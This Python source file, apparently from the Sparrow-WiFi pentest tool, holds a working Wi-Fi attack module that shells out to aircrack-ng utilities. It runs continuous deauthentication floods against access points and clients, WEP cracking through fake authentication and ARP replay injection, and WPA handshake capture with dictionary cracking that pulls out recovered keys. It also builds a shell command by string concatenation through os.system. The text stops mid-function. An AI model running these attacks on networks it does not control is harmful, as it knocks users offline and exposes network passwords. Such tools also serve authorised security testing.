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falconwifi.py
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#!/usr/bin/python3
#
###################################################################
#
# Application: Sparrow-WiFi
# Module: falconwifi.py
# Author: ghostop14
# Copyright 2017 ghostop14, All Rights Reserved
#
##################################################################
#
import subprocess
import signal
import os
import csv
import json
import datetime
from dateutil import parser
import re
from time import sleep
from threading import Thread, Lock
import sys
if '..' not in sys.path:
sys.path.insert(0, '..')
from wirelessengine import WirelessEngine, WirelessNetwork, WirelessClient
from sparrowgps import SparrowGPS
# ------------------ Falcon Remote Agent Functionality and Abstraction ------------------------------
class FalconWiFiRemoteAgent(object):
def __init__(self):
super().__init__()
self.activeDeauths = {}
self.deauthLock = Lock()
self.WPAPSKCrackList = {}
self.WEPCrackList = {}
def getAllDeauthsAsJsonDict(self):
responseDict = {}
responseList = []
for curKey in self.activeDeauths:
responseList.append(self.activeDeauths[curKey].toJsondict())
responseDict['activedeauths'] = responseList
return responseDict
def stopAllDeauths(self, interface):
self.deauthLock.acquire()
for curKey in self.activeDeauths:
curDeauth = self.activeDeauths[curKey]
if curDeauth.interface == interface:
curDeauth.kill()
del self.activeDeauths[curKey]
self.deauthLock.release()
def stopDeauth(self, apMacAddr, clientMacAddr, curInterface, channel):
potentialKey = FalconDeauth.testKey(apMacAddr, clientMacAddr, channel)
if potentialKey in self.activeDeauths:
self.deauthLock.acquire()
curDeauth = self.activeDeauths[potentialKey]
# Kill the process
curDeauth.kill()
# Remove it from our running dictionary
try:
del self.activeDeauths[potentialKey]
except:
pass
self.deauthLock.release()
def deauthAccessPoint(self, apMacAddr, curInterface, channel, continuous):
curNet = WirelessNetwork()
curNet.macAddr = apMacAddr
curNet.channel = channel
potentialKey = FalconDeauth.testKey(apMacAddr, "", channel)
if potentialKey not in self.activeDeauths:
newDeauth = FalconWirelessEngine.deauthClient(curNet, curInterface, curNet.channel, continuous)
# Note: If continuous is False, deauthClient will return None since the process will die after a single shot
if (newDeauth is not None) and continuous:
self.deauthLock.acquire()
self.activeDeauths[newDeauth.getKey()] = newDeauth
self.deauthLock.release()
return True
else:
return False
else:
# Deauth already running
return True
def deauthAccessPointAndClient(self, apMacAddr, clientMacAddr, curInterface, channel, continuous):
curClient = WirelessClient()
curClient.macAddr = clientMacAddr
curClient.apMacAddr = apMacAddr
curClient.channel = channel
potentialKey = FalconDeauth.testKey(apMacAddr, clientMacAddr, channel)
if potentialKey not in self.activeDeauths:
newDeauth = FalconWirelessEngine.deauthClient(curClient, curInterface, curClient.channel, continuous)
# Note: If continuous is False, deauthClient will return None since the process will die after a single shot
if (newDeauth is not None) and continuous:
# NOTE: deauth will also contain the interface that the deauth is running on
self.deauthLock.acquire()
self.activeDeauths[newDeauth.getKey()] = newDeauth
self.deauthLock.release()
return True
else:
return False
else:
# Deauth already running
return True
def cleanup(self):
# Stop any running cracks
for curInterface in self.WEPCrackList.keys():
self.WEPCrackList[curInterface].stopCrack()
self.WEPCrackList[curInterface].cleanupTempFiles()
self.WEPCrackList.clear()
for curInterface in self.WPAPSKCrackList.keys():
self.WPAPSKCrackList[curInterface].stopCrack()
self.WPAPSKCrackList[curInterface].cleanupTempFiles()
self.WPAPSKCrackList.clear()
# Clean up any monitoring scans running on exit
monitoringInterfaces = WirelessEngine.getMonitoringModeInterfaces()
for curInterface in monitoringInterfaces:
if self.isScanRunning(curInterface):
self.stopCapture(curInterface)
self.deauthLock.acquire()
for curKey in self.activeDeauths.keys():
curDeauth = self.activeDeauths[curKey]
# Kill try/except's so it won't throw an unhandled exception
curDeauth.kill()
self.deauthLock.release()
FalconWirelessEngine.airodumpStop('all')
def toolsInstalled(self):
return FalconWirelessEngine.aircrackInstalled()
def isScanRunning(self, interface):
return FalconWirelessEngine.isAirodumpRunning(interface)
def getNetworksAsJson(self, gpsData):
# This reads the scan file
airodumpcsvfile = '/dev/shm/falconairodump-01.csv'
retVal = {}
retVal['errCode'] = 0
retVal['errString'] = ''
if os.path.isfile(airodumpcsvfile):
networks, clients = FalconWirelessEngine.parseAiroDumpCSV(airodumpcsvfile)
errCode = 0
errmsg = ''
else:
errCode = 1
errmsg = 'Temp scan file not found. Scan may not be running.'
retVal['errCode'] = errCode
retVal['errString'] = errmsg
networks = {}
clients = {}
netList = []
if networks:
for curKey in networks.keys():
curNet = networks[curKey]
if gpsData is not None:
curNet.gps.copy(gpsData)
netList.append(curNet.toJsondict())
clientList = []
if clients:
for curKey in clients.keys():
curClient = clients[curKey]
if gpsData is not None:
curClient.gps.copy(gpsData)
clientList.append(curClient.toJsondict())
gpsdict = {}
gpsloc = SparrowGPS()
if (gpsData is not None):
gpsloc.copy(gpsData)
gpsdict['latitude'] = gpsloc.latitude
gpsdict['longitude'] = gpsloc.longitude
gpsdict['altitude'] = gpsloc.altitude
gpsdict['speed'] = gpsloc.speed
retVal['gps'] = gpsdict
retVal['networks'] = netList
retVal['clients'] = clientList
jsonstr = json.dumps(retVal)
return errCode, errmsg, jsonstr
def startCapture(self, interface):
# Make sure there's no existing capture running
FalconWirelessEngine.airodumpStop(interface)
# Clean up any temp files:
# Note: start cleans up any pre-existing temp files before starting.
# Now start a new one
return FalconWirelessEngine.airodumpStart(interface)
def stopCapture(self, interface):
return FalconWirelessEngine.airodumpStop(interface)
def getScanResults(self):
self.airodumpcsvfile = '/dev/shm/falconairodump-01.csv'
networks, clients = FalconWirelessEngine.parseAiroDumpCSV(self.airodumpcsvfile)
return networks, clients
def startMonitoringInterface(self, interface):
retVal = FalconWirelessEngine.airmonStart(interface)
errMsg = ""
if (retVal != 0):
errMsg = "Error code " + str(retVal) + " switching " + interface + " to monitoring mode. You can try it manually from a command-line with 'airmon-ng start " + interface + "'"
return retVal, errMsg
def stopMonitoringInterface(self, interface):
retVal = FalconWirelessEngine.airmonStop(interface)
errMsg = ""
if (retVal != 0):
errMsg = "Error code " + str(retVal) + " stopping " + interface + " monitoring mode. You can try it manually from a command-line with 'airmon-ng stop " + interface + "'"
return retVal, errMsg
# ------------------ WEP Crack Thread ------------------------------
class WEPCrackThread(Thread):
def __init__(self, apMacAddr):
super().__init__()
self.signalStop = False
self.threadRunning = False
self.apMacAddr = apMacAddr
self.ivcount = 0
self.passwords = []
def run(self):
self.threadRunning = True
while (not self.signalStop):
retVal, self.passwords, self.ivcount = FalconWirelessEngine.testWEPCapture(self.apMacAddr,'/tmp/falconwepcap-01.cap')
# This process just plain takes a while. No sense burdening the CPU continuously
# Just keep an eye out for stop signal
i=0
while i < 5 and not self.signalStop:
i += 1
sleep(0.2)
self.threadRunning = False
# ------------------ Crack Base Class ------------------------------
class CrackBase(object):
def __init__(self):
self.tmpFileRoot = 'falconcap'
self.apMacAddr = ""
self.SSID = ""
self.interface = ""
self.channel = 0
self.captureProc = None
self.attackProc1 = None
self.attackProc2 = None
self.crackRunning = False
def isRunning(self):
# Derived classes will need to override this
return False
def getCrackedPasswords(self):
# Derived classes will need to override this
return []
def cleanupTempFiles(self):
tmpDir = '/tmp'
try:
for f in os.listdir(tmpDir):
if f.startswith(self.tmpFileRoot):
try:
os.remove(tmpDir + '/' + f)
except:
pass
except:
pass
tmpDir = '/dev/shm'
try:
for f in os.listdir(tmpDir):
if f.startswith(self.tmpFileRoot):
try:
os.remove(tmpDir + '/' + f)
except:
pass
except:
pass
def startCrack(self, curInterface, channel, ssid, apMacAddr, hasClient=False):
# overload in inherited class
self.crackRunning = True
self.interface = curInterface
self.channel = channel
self.SSID = ssid
def stopCrack(self):
if self.attackProc2:
try:
self.attackProc2.kill()
self.attackProc2 = None
except:
pass
if self.attackProc1:
try:
self.attackProc1.kill()
self.attackProc1 = None
except:
pass
if self.captureProc:
try:
self.captureProc.kill()
self.captureProc = None
except:
pass
self.crackRunning = False
def TwoDigits(instr):
# Fill in a leading zero for single-digit numbers
while len(instr) < 2:
instr = '0' + instr
return instr
# ------------------ WPA PSK Crack Class ------------------------------
class WPAPSKCrack(CrackBase):
def __init__(self):
super().__init__()
self.tmpFileRoot = 'falconwpacap'
def copyCaptureFile(self, directory):
if not os.path.exists(directory):
os.makedirs(directory)
now = datetime.datetime.now()
filename = 'wpapskhash_' + str(now.year) + "-" + TwoDigits(str(now.month)) + "-" + TwoDigits(str(now.day))
filename += "_" + TwoDigits(str(now.hour)) + "_" + TwoDigits(str(now.minute)) + "_" + TwoDigits(str(now.second)) + ".cap"
fullpath = directory + '/' + filename
os.system('mv /tmp/falconwpacap-01.cap ' + fullpath)
return fullpath, filename
def isRunning(self):
if self.captureProc:
return True
else:
return False
def startCrack(self, curInterface, channel, ssid, apMacAddr, hasClient=False):
self.SSID = ssid
self.apMacAddr = apMacAddr
self.interface = curInterface
self.channel = channel
# Start the capture
filebase = '/tmp/' + self.tmpFileRoot
self.captureProc = FalconWirelessEngine.startCapture(curInterface, channel, filebase, apMacAddr, type="WPA")
if not self.captureProc:
return False, "Unable to start the packet capture process."
# Give it a chance to start and change the channel
sleep(0.1)
self.crackRunning = True
return True, ""
def hasHandshake(self):
retVal = FalconWirelessEngine.testWPACapture(self.apMacAddr, self.SSID,'/tmp/' + self.tmpFileRoot + '-01.cap')
return retVal
# ------------------ WEP Crack Class ------------------------------
class WEPCrack(CrackBase):
def __init__(self):
super().__init__()
self.tmpFileRoot = 'falconwepcap'
self.resultCheckThread = None
def isRunning(self):
if self.resultCheckThread:
return True
else:
return False
def getCrackedPasswords(self):
if self.resultCheckThread:
return self.resultCheckThread.passwords
else:
return []
def getIVCount(self):
if self.resultCheckThread:
return self.resultCheckThread.ivcount
else:
return 0
def stopCrack(self):
# Stop the WEP capture check thread
self.stopCaptureCheck()
# Stop all other attack and capture processes
super().stopCrack()
# Clean up any replay tmp files
tmpDir = '.'
try:
for f in os.listdir(tmpDir):
if f.startswith('replay_arp-') and f.endswith('.cap'):
try:
os.remove(tmpDir + '/' + f)
except:
pass
except:
pass
def startCrack(self, curInterface, channel, ssid, apMacAddr, hasClient=False):
self.SSID = ssid
self.apMacAddr = apMacAddr
self.interface = curInterface
self.channel = channel
# Start the capture
filebase = '/tmp/' + self.tmpFileRoot
self.captureProc = FalconWirelessEngine.startCapture(curInterface, channel, filebase, apMacAddr, type="wep-ivs")
if not self.captureProc:
return False, "Unable to start the packet capture process."
# Give it a chance to start and change the channel
sleep(0.1)
if not hasClient:
# Target the AP with fake authentication
self.attackProc1, self.attackProc2, errMsg = FalconWirelessEngine.forceWEPIVs(curInterface, ssid, apMacAddr)
if self.attackProc1 is None or self.attackProc2 is None:
try:
self.captureProc.kill()
self.captureProc = None
except:
pass
return False, "Unable to start injection process:" + errMsg
else:
self.attackProc2 = None
# Capture the client's ARP and play it back interactively
self.attackProc1, errMsg = FalconWirelessEngine.forceWEPIVsWithClient(curInterface, apMacAddr)
if self.attackProc1 is None:
try:
self.captureProc.kill()
self.captureProc = None
except:
pass
return False, "Unable to start injection process:" + errMsg
# poll() returns None when a process is running, otherwise the result is an integer
pollrunning = self.attackProc1.poll() is None
if not pollrunning:
try:
self.captureProc.kill()
self.captureProc = None
except:
pass
if self.attackProc2:
try:
self.attackProc2.kill()
self.attackProc2 = None
except:
pass
return False, 'Fake authentication process died prematurely.'
if not hasClient:
# Wait for process to start
sleep(0.2)
pollrunning = self.attackProc2.poll() is None
if not pollrunning:
try:
self.captureProc.kill()
self.captureProc = None
except:
pass
return False, "The ARP injection process appears to have died prematurely."
self.crackRunning = True
self.apMacAddr = apMacAddr
self.SSID = ssid
self.resultCheckThread = WEPCrackThread(apMacAddr)
self.resultCheckThread.start()
return True, ""
def stopCaptureCheck(self):
if self.resultCheckThread:
self.resultCheckThread.signalStop = True
while self.resultCheckThread.threadRunning:
sleep(0.2)
self.resultCheckThread = None
# ------------------ Deauth Class ------------------------------
class FalconDeauth(object):
def __init__(self):
self.processid = 0
self.channel = 0
self.stationMacAddr = ""
self.apMacAddr = ""
self.interface = ""
def __str__(self):
retVal = ""
retVal += "Station MAC Address: " + self.stationMacAddr + "\n"
retVal += "Associated Access Point Mac Address: " + self.apMacAddr + "\n"
retVal += "Channel: " + str(self.channel) + "\n"
retVal += "Interface: " + self.interface + "\n"
if (self.processid > 0):
retVal += "Deauth process id: " + str(self.processid) + "\n"
else:
retVal += "Deauth process id: None\n"
return retVal
def __eq__(self, obj):
# This is equivance.... ==
if not isinstance(obj, FalconDeauth):
return False
if self.stationMacAddr != obj.stationMacAddr:
return False
if self.apMacAddr != obj.apMacAddr:
return False
if self.interface != obj.interface:
return False
if self.channel != obj.channel:
return False
if self.processid != obj.processid:
return False
return True
def __ne__(self, other):
return not self.__eq__(other)
def getKey(self):
return (self.apMacAddr + self.stationMacAddr + "_" + str(self.channel))
def testKey(apMacAddr, stationMacAddr, channel):
return (apMacAddr + stationMacAddr + "_" + str(channel))
def kill(self):
if (self.processid > 0):
try:
os.kill(self.processid, signal.SIGINT)
except:
pass
self.processid = 0
def fromJsondict(self, dictjson):
# Note: if the json dictionary isn't correct, this will naturally throw an exception that may
# need to be caught for error detection
self.apMacAddr = dictjson['apmacaddr']
self.stationMacAddr = dictjson['stationmacaddr']
self.channel = dictjson['channel']
self.interface = dictjson['interface']
self.processid = dictjson['processid']
def fromJson(self, jsonstr):
dictjson = json.loads(jsonstr)
self.fromJsondict(dictjson)
def toJsondict(self):
dictjson = {}
dictjson['type'] = 'wifi-deauth'
dictjson['apmacaddr'] = self.apMacAddr
dictjson['stationmacaddr'] = self.stationMacAddr
dictjson['channel'] = self.channel
dictjson['interface'] = self.interface
dictjson['processid'] = self.processid
return dictjson
def toJson(self):
dictjson = self.toJsondict()
return json.dumps(dictjson)
# ------------------ FalconWirelessEngine Class ------------------------------
class FalconWirelessEngine(object):
def __init__(self):
pass
def processRunning(processPattern):
result = subprocess.run(['pgrep', '-f',processPattern], stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
# it's a grep, so if the pattern exists, pgrep returns 0, else it returns 1 (or something greater than 0 as an err_not_found
if result.returncode == 0:
return True
else:
return False
def isAirodumpRunning(interface):
processPattern = 'airodump-ng.*' + interface + '.*falconairodump'
return FalconWirelessEngine.processRunning(processPattern)
def aircrackInstalled():
if (not os.path.isfile('/usr/sbin/airodump-ng')) and (not os.path.isfile('/usr/local/sbin/airodump-ng')):
return False
if (not os.path.isfile('/usr/bin/aircrack-ng')) and (not os.path.isfile('/usr/local/bin/aircrack-ng')):
return False
return True
def testWEPCapture(apMacAddr, capFile):
# aircrack-ng -a2 -b D8:EB:97:2F:DD:CE -w /opt/wordlists/TopPasswords3-2.txt falconcap-01.cap
params = ['aircrack-ng','-f','4','-1','-b', apMacAddr, capFile]
result = subprocess.run(params, stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
testResult = result.stdout.decode('ASCII')
iv=re.compile(' +([0-9]+) IVs')
regexresult=iv.search(testResult)
if regexresult:
try:
ivstr = regexresult.group(1)
ivstr = ivstr.replace('IVs', '')
ivstr = ivstr.replace(' ', '')
ivcount = int(ivstr)
except:
ivcount = 0
else:
ivcount = 0
# Please specify a dictionary comes back when aircrack-ng recognizes it as WPA, not wep,
# No matching network found means you have the wrong bssid or a packet hasn't been seen yet
if result.returncode == 0 and 'KEY FOUND' in testResult:
passwords = []
p = re.compile('KEY FOUND\! \[(.*?)\].*')
lines = testResult.split('\n')
for curLine in lines:
try:
if 'KEY FOUND' in curLine:
fieldValue = p.search(curLine).group(1)
else:
fieldValue = ""
except:
fieldValue = ""
if len(fieldValue) > 0:
fieldValue = fieldValue.strip()
if fieldValue not in passwords:
passwords.append(fieldValue)
return True, passwords, ivcount
else:
return False, [], ivcount
def testWPACapture(apMacAddr, ssid, capFile):
# First see if we have wpapcap2john. It's better than aircrack at extracting the hashes
if (os.path.isfile('/usr/local/bin/wpapcap2john') or os.path.isfile('/usr/bin/wpapcap2john') ):
params = ['wpapcap2john', capFile]
result = subprocess.run(params, stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
testResult = result.stdout.decode('ASCII')
# So wpapcap2john writes the hash output to stdout ,but summary info goes to stderr.
# For instance:
# CompletedProcess(args=['wpapcap2john', '/tmp/falconwpacap-01.cap'], returncode=0, stdout=b'',
# stderr=b'File falconwpacap-01.cap: raw 802.11\n\n1 ESSIDS processed and 0 AP/STA pairs processed\n0 handshakes written\n')
if (ssid in testResult):
return True
else:
return False
else:
tmpFile = "/tmp/falconwpatestpass.txt"
if not os.path.isfile(tmpFile):
with open(tmpFile, 'w') as f:
f.write('test\n')
# aircrack-ng -a2 -b D8:EB:97:2F:DD:CE -w /opt/wordlists/TopPasswords3-2.txt falconcap-01.cap
params = ['aircrack-ng', '-a2', '-b', apMacAddr, '-w', tmpFile]
if len(ssid) > 0:
params.append('-e')
params.append(ssid)
params.append(capFile)
result = subprocess.run(params, stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
testResult = result.stdout.decode('ASCII')
if 'No valid WPA handshakes found' in testResult:
return False
else:
if (result.returncode == 0) and ('keys tested' in testResult) and ('0 keys tested' not in testResult):
return True
else:
return False
def crackWPACapture(apMacAddr, ssid, dictionary, capFile):
params = ['aircrack-ng', '-a2', '-b', apMacAddr, '-w', dictionary]
if len(ssid) > 0:
params.append('e')
params.append(ssid)
params.append(capFile)
result = subprocess.run(params, stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
testResult = result.stdout.decode('ASCII')
if 'No valid WPA handshakes found' in testResult:
return False, []
else:
if result.returncode == 0 and 'KEY FOUND' in testResult:
passwords = []
p = re.compile('KEY FOUND\! \[(.*?)\].*')
lines = testResult.split('\n')
for curLine in lines:
try:
if 'KEY FOUND' in curLine:
fieldValue = p.search(curLine).group(1)
else:
fieldValue = ""
except:
fieldValue = ""
if len(fieldValue) > 0:
fieldValue = fieldValue.strip()
if fieldValue not in passwords:
passwords.append(fieldValue)
return True, passwords
else:
return False, []
def startCapture(interface, channel, outputFile, apMacAddr="", type=""):
# Type can go straight to airodump-ng's type parameter,
# but if you specify 'wep-ivs' this function will know to only capture wep IV's for
# cracking and use the --ivs parameter to airodump.
params = ['airodump-ng', '--channel', str(channel),'--write', outputFile, interface]
if len(apMacAddr) > 0:
params.append('--bssid')
params.append(apMacAddr)
if type == 'wep-ivs':
# params.append('--ivs')
pass
# The PTW method that requires many less IV's doesn't work with the --ivs IV only approach. Need the full capture.
else:
if (len(type) > 0):
params.append('-t')
params.append(type)
newProc = subprocess.Popen(params,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)
return newProc
def forceWEPIVsWithClient(interface, apMacAddr):
# Channel will be set with the call to capture
params = ['aireplay-ng', '--interactive','-b',apMacAddr, '-d', 'FF:FF:FF:FF:FF:FF', 'f', '1', '-m', '68', '-n', '86', interface]
# aireplay-ng --interactive -b 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 ath0
newProc = subprocess.Popen(params,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
pollrunning = newProc.poll() is None
if not pollrunning:
output = newProc.communicate()
if output[0]:
# Stdout
errMsg = output[0]
else:
errMsg = 'Unknown error starting ARP request replay: ' + str(params)
else:
errMsg = ""
return newProc, errMsg
def forceWEPIVs(interface, SSID, apMacAddr):
# Channel will be set with the call to capture
# Note: In the params below, the hard-coded mac address is correct. It just needs a fake mac for this process
# params = ['aireplay-ng', '-D','--fakeauth=30','-e', '"'+SSID+'"', '-a', apMacAddr, '-h', '00:06:25:c1:E5:38', interface]
mymacaddr = WirelessEngine.getMacAddress(interface)
if len(mymacaddr) == 0:
return None, None, "Unable to retrieve local mac address"
# Use aireplay-ng to do a fake authentication with the access point
#quotedSSID = '"' + SSID + '"'
# quotedSSID = SSID
# NOTE: Don't quote the SSID, it'll pass the quotes along as part of the SSID and fail.
params = ['aireplay-ng', '-1', '6000', '-o', '1', '-q', '10', '-e', SSID, '-a', apMacAddr, '-h', mymacaddr, interface]
newProc1 = subprocess.Popen(params,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
# poll() returns None when a process is running, otherwise the result is an integer
pollrunning = newProc1.poll() is None
if not pollrunning:
output = newProc1.communicate()
if output[0]:
# Stdout
errMsg = output[0]
else:
errMsg = 'Unknown error'
newProc1 = None
newProc2 = None
return None, None, errMsg
# Start aireplay-ng in ARP request replay mode
params = ['aireplay-ng', '-3', '-b', apMacAddr, '-h', mymacaddr, interface]
newProc2 = subprocess.Popen(params,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
pollrunning = newProc2.poll() is None
if not pollrunning:
output = newProc2.communicate()
if output[0]:
# Stdout
errMsg = output[0]
else:
errMsg = 'Unknown error starting ARP request replay: ' + str(params)
else:
errMsg = ""
return newProc1, newProc2, errMsg
def checkWEPCaptureForIVs(captureFile):
result = subprocess.run(['aircrack-ptw', captureFile], stdout=subprocess.PIPE,stderr=subprocess.DEVNULL)
wirelessResult = result.stdout.decode('ASCII')
# For now, we'll need to key off of a successful message
return wirelessResult
def stopCapture(captureProc):
if captureProc:
captureProc.kill()
def deauthClient(client, interface, channel, continuous=False, printdebug=False):
# client can be:
# 1. WirelessClient object (uses both wirelessClient.macAddr and wirelessClient.apMacAddr)
# 2. WirelessNetwork object (uses wirelessNetwork.macAddr)
#
# Returns a deauth object for continuous deauth which contains the ap mac addr, client mac (if available), channel,
# and the process id. For continuous=False or an error, None is returned.
if not client:
return
if (type(client) == WirelessClient) and ('associated' in client.apMacAddr):
return None
if (not channel) or (channel < 1):
# Filter 0's and -1's as error conditions.
return None
newDeauth = FalconDeauth()
if type(client) == WirelessClient:
newDeauth.stationMacAddr= client.macAddr
newDeauth.apMacAddr = client.apMacAddr
else:
newDeauth.stationMacAddr= ""
newDeauth.apMacAddr = client.macAddr
newDeauth.channel = channel
newDeauth.interface = interface
if (continuous):
# 0 means continuous
deauthCount = 0
else:
# From https://www.aircrack-ng.org/doku.php?id=deauthentication:
# 1 actually sends For directed deauthentications, aireplay-ng sends out a total of 128 packets for each deauth you specify.
# 64 packets are sent to the AP itself and 64 packets are sent to the client.
deauthCount = 1
retVal = FalconWirelessEngine.setChannel(interface, channel)
if retVal == 0:
# Note: This process doesn't always work. Not all clients respond to deauths, or they reconnect so quickly
# that you don't notice the deauth.
if len(newDeauth.stationMacAddr) > 0:
params = ['aireplay-ng', '-0', str(deauthCount),'-c',client.macAddr, '-a', client.apMacAddr, interface]
else:
params = ['aireplay-ng', '-0', str(deauthCount),'-a', client.macAddr, interface]
if printdebug:
newProc = subprocess.Popen(params)
else:
newProc = subprocess.Popen(params, stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)
if newProc and continuous:
newDeauth.processid = newProc.pid
else:
newDeauth.processid = 0
else:
return None
if continuous:
return newDeauth
else:
# If we're not continuous, this process is going to die after one pass
return None
def setChannel(interface, channel):
result = subprocess.run(['iwconfig', interface, 'channel', str(channel)], stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)
return result.returncode
# Creating a monitor interface based on a wireless interface
def airmonStart(interface):
# Checking for processes and configs
result = subprocess.run(['airmon-ng', 'start', interface], stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)
# returncode will be 0 on success. This is airmon-ng's result code
return result.returncode
def airmonStop(interface):
# Checking for processes and configs
result = subprocess.run(['airmon-ng', 'stop', interface], stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)
# returncode will be 0 on success. This is airmon-ng's result code
return result.returncode
# Starting/stopping monitoring
def airodumpStart(interface, bands='ag', tmpDir='/dev/shm', basename='falconairodump'):
# Returns a process object on success, None on Failure
# Clean up tmp files
try:
for f in os.listdir(tmpDir):
if f.startswith(basename):
try: